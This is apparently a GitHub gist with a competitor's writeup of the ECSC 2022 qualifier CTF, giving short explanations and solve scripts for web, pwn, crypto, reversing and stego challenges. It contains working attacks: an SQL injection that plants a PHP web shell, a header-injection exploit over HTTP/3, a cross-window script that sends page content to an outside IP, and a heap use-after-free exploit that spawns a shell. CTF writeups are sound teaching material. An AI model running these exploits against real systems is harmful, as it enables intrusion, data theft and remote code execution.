Skip to content

Instantly share code, notes, and snippets.

@meithecatte
Created July 21, 2022 14:28
Show Gist options
  • Save meithecatte/1eff2887d419a130e413d84f7abe1b69 to your computer and use it in GitHub Desktop.
Save meithecatte/1eff2887d419a130e413d84f7abe1b69 to your computer and use it in GitHub Desktop.
ECSC 2022 Quals writeup

Kolska Leaks

  • LFI at /download?filename=$1
  • /download?filename=/proc/self/exe confirms the application is written in Python
  • with some luck, guess /download?filename=/app/app.py or /download?filename=app.py to get the source code
  • source code includes SECRET_KEY, enough to fake an admin cookie
    • best done by deploying the app locally and modifying the code to create an admin cookie by default

Cat Blag

  • admire cute cattos
  • a comment in the HTML source code hints at an exposed git repository
    • pip3 install git-dumper goes brrr
  • the downloaded source reveals an SQL injection in $_GET["visit_source"]
  • some googling reveals that in SQLite, one can easily create a file and put a PHP reverse shell in it. at least, if we can tolerate some garbage in front (we can)
import requests
import secrets

URL = 'https://catblag.ecsc22.hack.cert.pl/'

name = secrets.token_urlsafe(16)

r = requests.get(URL,
        params={
            'visit_source': "'); ATTACH DATABASE '/var/www/html/uploads/" + name + ".php' as meow; CREATE TABLE meow.uwu (dataz text); INSERT INTO meow.uwu (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>'); --"
        })

r = requests.get(URL + 'uploads/' + name + '.php',
    params={
        'cmd': 'find / -iname "*flag*"'})
print(r.text)

r = requests.get(URL + 'uploads/' + name + '.php',
    params={
        'cmd': 'rm ' + name + '.php'})
  • we obtain the location of the flag: /var/www/html/this-is-the-flag-but-with-an-unpredictable-name.txt. we can download it through HTTP.
  • moreover, we can customize the set of images displayed by the challenge:
import requests
import secrets

URL = 'https://catblag.ecsc22.hack.cert.pl/'

r = requests.get(URL)

if 'Catto-with-plushie' not in r.text:
    name = secrets.token_urlsafe(16)
    print('Hi pwning now because no cool cat')

    r = requests.get(URL,
            params={
                'visit_source': "'); ATTACH DATABASE '/var/www/html/uploads/" + name + ".php' as meow; CREATE TABLE meow.uwu (dataz text); INSERT INTO meow.uwu (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>'); --"
            })

    r = requests.get(URL + 'uploads/' + name + '.php',
        params={
            'cmd': 'curl "https://i.imgur.com/r0nMifS.jpg" -o Catto-with-plushie.jpg'})

    r = requests.get(URL + 'uploads/' + name + '.php',
        params={
            'cmd': 'rm ' + name + '.php'})

    r = requests.get(URL,
            params={
                'visit_source': "'); DELETE FROM posts WHERE id > 7; INSERT INTO posts (title, filename) VALUES ('Catto with plushie', 'Catto-with-plushie.jpg'); --"
            })

Screenshot 2022-07-17 at 13-27-48 Cat Blag #148

QuicLookThis

nginx is configured to serve over HTTP3, perform some rewrites and proxy to localhost:8080. This is also served by nginx, and allows to get the flag if the request has the X-Real-IP header set to 127.0.0.1. Unfortunately, the proxy is configured to set this header to an empty value.

The provided Dockerfile compiles a custom nginx, and patches it to remove some checks normally performed on the headers sent through HTTP3. As this is a binary protocol, we can send a newline within a header value. Then, when it gets serialized into a HTTP/1.1 request, we can fake an additional header with a name and value of our choice.

To perform the attack, I used a modified quiche-client:

$ gdp apps/src/common.rs
diff --git a/apps/src/common.rs b/apps/src/common.rs
index 9842e44..eab1502 100644
--- a/apps/src/common.rs
+++ b/apps/src/common.rs
@@ -921,6 +921,7 @@ impl Http3Conn {
                         url[url::Position::BeforePath..].as_bytes(),
                     ),
                     quiche::h3::Header::new(b"user-agent", b"quiche"),
+                    quiche::h3::Header::new(b"zee-meow-meow", b"nyaa\nX-Real-IP: 127.0.0.1"),
                 ];

                 let priority = if send_priority_update {
$ cargo run -q --bin quiche-client -- --no-verify https://quiclookthis.ecsc22.hack.cert.pl:18443/get/get/flag
ecsc{quic_and_easy_http3_client_:)}

Monster

The website allows hosting arbitrary HTML on the secret subdomain. As the name of the subdomain doesn't vary between users, we can:

  • load the secret as the bot's user, which should contain the flag
  • re-login to a user we control
  • load our secret, and make use of the fact we're executing in the same context as a window with the flag.

Due to the session cookie's SameSite policy, we cannot do this with iframes, but as it turns out, the bot doesn't have a popup blocker, so we can do window.open and then access window.opener.

We send the link to the following document:

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script>
            window.open('second.html');
        </script>
    </body>
</html>

second.html contains the meat of the exploit:

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script>
            window.opener.location = 'https://secret.monster.ecsc22.hack.cert.pl/secret';
            setTimeout(meow,1000);
            function meow() {
                window.open('login.html');
                setTimeout(nyaa, 1000);
            }

            function nyaa() {
                document.location = 'https://secret.monster.ecsc22.hack.cert.pl/secret';
            }
        </script>
    </body>
</html>

login.html sends a POST request to login into our account:

<form id="nyaa" method="POST" action="https://monster.ecsc22.hack.cert.pl/">
    <input name="username" value="mayapwn3">
    <input name="password" value="JP2zjadlmipsa">
    <input type="submit">
</form>

<script>
    document.getElementById('nyaa').submit();
</script>

This logs into an account whose secret is set to

<script>document.location = 'http://64.227.78.95:8000/done?' + btoa(window.opener.document.body.innerHTML);</script>

This kills the crab exfiltrates the secret.

Long Hash

We can bruteforce the flag byte-by-byte by executing the individual hashing functions repeatedly. This is easily achieved by compiling the bruteforcer into a shared object and using LD_PRELOAD:

#include <stdio.h>
#include <stdlib.h>
#include <sys/auxv.h>

void __attribute__((constructor)) initialD() {
    void * base = getauxval(AT_ENTRY) - 0x10c0;
    uint64_t hashes[5] = {
        0xf161495256a9be7e,
        0x9ed1f35982d3567d,
        0x5e8932b407b62517,
        0x5b65919c50a3b933,
        0x5f27b58fa8883409,
    };
    uint64_t (*funcs[5])(uint64_t) = {
        base + 0x19f971,
        base + 0x19fc07,
        base + 0x19fe9d,
        base + 0x1a0133,
        base + 0x1a03c9,
    };

    char flag[41];
    for (int i = 0; i < 40; i++) flag[i] = '?';
    flag[40] = 0;

    for (int i = 0; i < 40; i++) {
        for (char c = '!'; c < 127; c++) {
            flag[i] = c;
            int nhash = i / 8;
            int sh = i % 8;
            uint64_t h = funcs[nhash](*(uint64_t*)(flag + 8 * nhash));

            //printf("%016x\n", h);

            if (((h >> (sh * 8)) & 0xff) == ((hashes[nhash] >> (sh * 8)) & 0xff)) {
                printf("%s\n", flag);
                break;
            }
        }
    }
    exit(1);
}
$ gcc -shared solve.c -o solve.so
$ LD_PRELOAD=./solve.so ./long_hash
e???????????????????????????????????????
ec??????????????????????????????????????
ecs?????????????????????????????????????
ecsc????????????????????????????????????
ecsc{???????????????????????????????????
ecsc{A??????????????????????????????????
ecsc{Ad?????????????????????????????????
ecsc{Add????????????????????????????????
ecsc{AddS???????????????????????????????
ecsc{AddSu??????????????????????????????
[...]
ecsc{AddSubXorNotAddSubXorNotAddSubXor~}

suscall

Some reverse-engineering reveals that the program contains a custom x64 interpreter, and uses it to interpret a simple crackme. Some more analysis shows that there are some differences from the proper semantics of x64.

  • a non-immediate mov affects the flags (though this doesn't actually affect the program being interpreted)
  • the opcode of xor is actually exponentiation modulo 0xffe000ff

With this knowledge we can write a solver:

import struct

with open('suscall', 'rb') as f:
    data = f.read()

expected = data[0x3010:][:32]
exps = data[0x3030:][:32]
print(expected.hex())
print(exps.hex())

MOD = 0xffe000ff
p, q = 65519, 65521
phi = (p - 1) * (q - 1)

flag = b''

for i in range(0, 0x16, 4):
    e, = struct.unpack('I', exps[i:i+4])
    v, = struct.unpack('I', expected[i:i+4])
    print(e, v)
    d = pow(e, -1, phi)
    w = pow(v, d, MOD)
    flag += struct.pack('I', w)

print(flag)

Validator

After much confusion, one can realize that the bug is very simple — the application ships the private key, and uses it to derive the public key used for checking signatures. Thus we extract the relevant resource (the only one with a .bin extension) and easily fake a badge:

from base64 import b64decode
import requests
from Cryptodome.PublicKey import ECC
from Cryptodome.Signature import eddsa

data = b'flag'

with open('privkey.bin', 'rb') as f:
    seed = f.read()

privkey = ECC.construct(curve='Ed25519', seed=seed)
signer = eddsa.new(privkey, 'rfc8032')

sig = signer.sign(data)

r = requests.post('https://validator.ecsc22.hack.cert.pl',
        json = {
            'id': data.decode(),
            'signature': list(sig)
        })

print(r.status_code)
print(r.text)

Flag Shop

The application is built with React Native, and its code is stored in a "Hermes JavaScript bytecode bundle". Finding tooling to reverse engineer this proves difficult. Fortunately, the integer literal specifying that the price of the flag is 31337 is quite unique, and we can just patch it to a lower value:

import struct
with open('index.android.bundle', 'rb') as f:
    data = bytearray(f.read())

meow = struct.pack('I', 31337)
nyaa = struct.pack('I', 5)
i = data.index(meow)
data[i:i+4] = nyaa

with open('index.android.bundle', 'wb') as f:
    f.write(data)

Actually rebuilding an apk with this change proved difficult, due to Android's batshit insane decision to reuse the Zip format for its own purposes and assign meaning to internals that most tools don't pay attention to. In the end, I had to download the Android SDK for its zipalign and apksigner tools. Using them, in this order, on the apk produced by apktool build, finally created a file that got accepted by adb install. The patched application could easily be convinced to show a flag.

Looking at sound

After wasting some time with SSTV, the very 🇮🇳 idea of "the channels are just XY coordinates" came to mind. This turns out to be correct.

import wave
import struct
from PIL import Image

poss = []

one_img = 30000

with wave.open('looking_at_sound.wav') as f:
    nframes = f.getnframes()
    for nimg in range(nframes//one_img):
        im = Image.new('L', (512, 512))
        data = f.readframes(one_img)
        for i in range(0, 4*one_img, 4):
            x, y = struct.unpack('hh', data[i:i+4])
            x += 32768
            y += 32768
            x //= 128
            y //= 128
            im.putpixel((x, 511-y), 255)
        im.save('im%03d.png' % nimg)

Shifting

The flag format and simple properties of XOR let us recover most of the key. The rest can be very feasibly bruteforced:

cipher = bytes.fromhex('173ca059bf5d2027251c499b87ca1806b6c6c304153d203b38')
print(len(cipher))

crib = b'ecsc{???}'

keybase = 0
known = 0

for i in range(4):
    shift = crib[i-1]%32
    keybits = cipher[i] ^ crib[i] ^ crib[i+1]
    print((bin(keybits)[2:].zfill(8) + shift * ' ').rjust(64))

    known |= 0xff << shift
    keybase |= keybits << shift

keybase = (keybase & 0xffffffff) | (keybase >> 32)
known = (known & 0xffffffff) | (known >> 32)
print(bin(known)[2:].zfill(32))
print(bin(keybase)[2:].zfill(32))

def decrypt(key):
    key = key | (key << 32)
    output = bytearray(len(cipher))
    output[0] = b'e'[0]
    output[-1] = b'}'[0]
    for i in range(len(cipher) - 1):
        shift = output[i-1] % 32
        keyi = (key >> shift) & 0xff
        output[i+1] = cipher[i] ^ output[i] ^ keyi
    return output

keyrest = known
while keyrest < 2**32:
    key = keyrest &~ known | keybase
    pt = decrypt(key)
    if pt.isascii():
        print(pt)

    keyrest += 1
    keyrest |= known

QuickMaths

By dividing appropriate ciphertexts by each other, we can derive . This value is small enough that exponentiation modulo p doesn't actually reduce anything, and we can use a square root to calculate g, and then the flag.

p = 10522...
data = [(221, 15361...), ...]

data.sort()

K = Zmod(p)

outs = []

for i in range(len(data)-1):
    a, x = data[i]
    b, y = data[i+1]

    x = K(x); y = K(y)

    delta = b - a
    outs.append((delta, y/x))

assert outs[0][0] == 2

g = K(ZZ(outs[0][1]).isqrt())

flag = K(data[0][1]) / g**data[0][0]
print(bytes.fromhex(hex(ZZ(flag))[2:]))

This particular solution works because the design of the challenge is very permissive. A variation where g is the same size as p and only two ciphertexts are provided would remain solvable.

Mirror

Some quick maths lets us factorize the modulus:

# (ka + b)(kb + a) = k²ab + k(a² + b²) + ab

n = 136833849009378541177365407452586723306505444691976749004448551477492393370727121824647697026919571415516837272337651935637064315560075712848623840253845208440409394636665640222581087106974207162724930976023333788275806336989480648037228689764170323692429398688150195468592753198191312296734005651276133646591
ct = 0xbb3fc9ea61c02c2b3db67a785fefe3ad16a0188839461351220deb1a2ee00af4cb3ffeb22450c6bc514cc1c9f288d8d58e965ed3eb6224817f3416b742e2ebd310ac3b639479a9f8d4021d81ffc5f63dc4fd9fe238bc3e35469949faece3ae8bf56e79bfca99a27077d2791cb9d207b613608945756e06f671d299829fa8e7e7

high = n >> 768
high -= 1 # experimentally (one bit from the middle term can leak in)
low = n % (1 << 256)

ab = (high << 256) | low

mid = n - ab - (ab << 512)
assert mid % (1 << 256) == 0
mid >>= 256

print(hex(mid))

# (a + b)²
sq = mid + 2*ab
S = sq.isqrt()
assert S**2 == sq

soln = solve(x * (S - x) == ab, x)
# TODO: how do i not copy paste this lol
a = 91641709288409009970800294654230824364204858100777787158654515576691442882245
b = 111363425824121797538005125941136667809420525071579655219101435656213041763571

p = (a << 256) | b
q = (b << 256) | a

assert p * q == n
phi = (p - 1)*(q - 1)
d = pow(65537, -1, phi)
pt = pow(ct, d, n)
print(bytes.fromhex(hex(pt)[2:]))

Non Zero Knowledge Proof

With some luck, an arbitrary even square can turn out to have a root that's congruent to 0 mod 10. When the server tells us the value of such a root, there's a chance we can recover one of the primes with gcd (this is due to the structure of the roots, which one can discover by studying the CRT formulas).

from pwn import *
import nzkp

def get_ct():
    s = remote('nzkp2.ecsc22.hack.cert.pl', 18664)

    s.recvline()
    n = int(s.recvline().strip())

    s.recvuntil(b'challenge>\n')
    s.sendline(b'4')
    leak = int(s.recvline().strip())

    for _ in range(31):
        s.recvuntil(b'challenge>\n')
        s.sendline(b'0')
        assert s.recvline() == b'0\n'

    ct = int(s.recvline().strip())
    return n, leak, ct

while True:
    try:
        n, leak, ct = get_ct()
        p = gcd(leak - 2, n)
        assert p not in [1, n]
        break
    except:
        pass

q = n // p
sols = nzkp.modular_sqrt_composite(int(ct), [int(p), int(q)])
for sol in sols:
    try:
        print(bytes.fromhex(hex(sol)[2:]))
    except:
        pass

Non Zero Knowledge Proof 2

Celebrate the organizer's mistake and grab free double points with the same exploit.

Heroes of Pwn & Assembly

Typical sequence of use-after-free in a tcache bin resulting in an arbitrary malloc. We can use that for almost arbitrary read/write in the GOT area.

from pwn import *

e = ELF('chall')

context.terminal = ['alacritty', '-e']

if args.REMOTE:
    s = remote('heroes.ecsc22.hack.cert.pl', 18002)
else:
    s = process(['./ld-linux-x86-64.so.2', './chall'], env={'LD_PRELOAD':'./libc.so.6'})
    gdb.attach(s)

def malloc(size):
    log.info('Allocating %d bytes', size)
    s.sendlineafter(b'do? ', b'1')
    s.sendlineafter(b'unit stack: ', str(size).encode())

def free(slot):
    log.info('Freeing slot %d', slot)
    s.sendlineafter(b'do? ', b'2')
    s.sendlineafter(b'unit: ', str(slot).encode())

def inspect(slot):
    log.info('Inspecting slot %d', slot)
    s.sendlineafter(b'do? ', b'3')
    s.sendlineafter(b'unit: ', str(slot).encode())
    s.recvuntil(b'OK\n')
    return s.recvuntil(b'Current player is orange.\n', drop=True)

def write(slot, data):
    log.info('Writing %r into slot %d', data.hex(), slot)
    s.sendlineafter(b'do? ', b'4')
    s.sendlineafter(b'unit: ', str(slot).encode())
    s.sendafter(b'OK\n', data)

malloc(72)
malloc(72)
free(1)
free(0)
print(hexdump(inspect(0)))

write(0, p64(e.got['free']))

malloc(72)
malloc(72)

libc_free = u64(inspect(3).ljust(8, b'\x00'))
log.info('__GI___libc_free @ %x', libc_free)

libc_base = libc_free - 0x97910
log.info('libc base @ %x', libc_base)

system = libc_base + 0x4f420
write(3, p64(system))
write(2, b'/bin/sh')

free(2)

s.interactive()

Visual Steganography

Stegsolve lets us extract a PNG from the low bits of hidden.png. Apart from that, 960x300_0__1 and program encode bits in a pretty straightforward way:

from PIL import Image

def part1():
    with open('960x300_0__1', 'r') as f:
        data = f.read()

    bits = []
    i = 0
    while i < len(data):
        if data[i] == ' ':
            if i+1 < len(data) and data[i+1] == ' ':
                bits.append(1)
                i += 2
            else:
                bits.append(0)
                i += 1
        else:
            i += 1
    return bits

def part2():
    im = Image.open('hidden-extracted.png')
    w, h = im.size
    bits = []
    for y in range(h):
        for x in range(w):
            r, g, b, _ = im.getpixel((x, y))
            bits.append([(0,0,0),(255,255,255)].index((r,g,b)))
    return bits

def part3():
    bits = []
    with open('disasm') as f:
        counter = 0
        for line in f:
            parts = line.split()
            if parts[-2] == 'addl':
                if parts[3] == 'f8':
                    bits.append(0)
                elif parts[3] == 'fc':
                    bits.append(1)
                else:
                    raise hell
                counter += 1
            elif parts[-3] == 'jmpq':
                assert counter == 960
                counter = 0
    return bits

def combine():
    print('part 1')
    a = part1()
    print('part 2')
    b = part2()
    print('part 3')
    c = part3()
    print('combine')

    it = iter(zip(a, b, c))

    im = Image.new('L', (960, 300))
    for y in range(300):
        for x in range(960):
            a, b, c = next(it)
            s = a + b + c
            if s < 2:
                im.putpixel((x, y), 0)
            else:
                im.putpixel((x, y), 255)
    im.save('combined.png')

combine()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment